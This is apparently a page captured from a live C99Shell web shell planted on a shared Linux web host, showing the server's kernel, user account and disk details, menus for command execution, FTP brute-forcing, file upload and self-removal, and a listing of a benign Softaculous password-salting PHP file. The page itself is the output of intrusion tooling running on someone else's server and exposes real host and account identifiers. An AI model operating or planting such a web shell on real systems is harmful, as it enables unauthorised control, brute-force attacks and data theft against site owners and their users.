!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/stripe/   drwxr-xr-x
Free 293.87 GB of 429.69 GB (68.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update_pass.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$salt 
__salt('[[admin_pass]]');
$methodAndSalt '$2y$' $salt;
    
$resp crypt('[[admin_pass]]'$methodAndSalt);
echo 
'<update_pass>'.$resp.'</update_pass>';
echo 
'<update_salt>'.$salt.'</update_salt>';
@
unlink('update_pass.php');



// Create the Salt
function __salt($password$member null) {
    
$generator = new __RandomGenerator();
    return 
sprintf('%02d'10) . '$' substr($generator->generateHash('sha1'), 022);
}

// Class to create the salt
class __RandomGenerator {

    
/**
     * Note: Returned values are not guaranteed to be crypto-safe,
     * depending on the used retrieval method.
     * 
     * @return string Returns a random series of bytes
     */
    
function generateEntropy() {
        
$isWin preg_match('/WIN/'PHP_OS);
        
        
// TODO Fails with "Could not gather sufficient random data" on IIS, temporarily disabled on windows
        
if(!$isWin) {
            if(
function_exists('mcrypt_create_iv')) {
                
$e mcrypt_create_iv(64MCRYPT_DEV_URANDOM);
                if(
$e !== false) return $e;
            }
        }

        
// Fall back to SSL methods - may slow down execution by a few ms
        
if (function_exists('openssl_random_pseudo_bytes')) {
            
$e openssl_random_pseudo_bytes(64$strong);
            
// Only return if strong algorithm was used
            
if($strong) return $e;
        }

        
// Read from the unix random number generator
        
if(!$isWin && !ini_get('open_basedir') && is_readable('/dev/urandom') && ($h fopen('/dev/urandom''rb'))) {
            
$e fread($h64);
            
fclose($h);
            return 
$e;
        }

        
// Warning: Both methods below are considered weak

        // try to read from the windows RNG
        
if($isWin && class_exists('COM')) {
            try {
                
$comObj = new COM('CAPICOM.Utilities.1');
                
$e base64_decode($comObj->GetRandom(640));
                return 
$e;
            } catch (
Exception $ex) {
            }
        }

        
// Fallback to good old mt_rand()
        
return uniqid(mt_rand(), true);
    }
    
    
/**
     * Generates a hash suitable for manual session identifiers, CSRF tokens, etc.
     * 
     * @param String $algorithm Any identifier listed in hash_algos() (Default: whirlpool)
     *  If possible, choose a slow algorithm which complicates brute force attacks.
     * @return String Returned length will depend on the used $algorithm
     */
    
function generateHash($algorithm 'whirlpool') {
        return 
hash($algorithm$this->generateEntropy());
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0044 ]--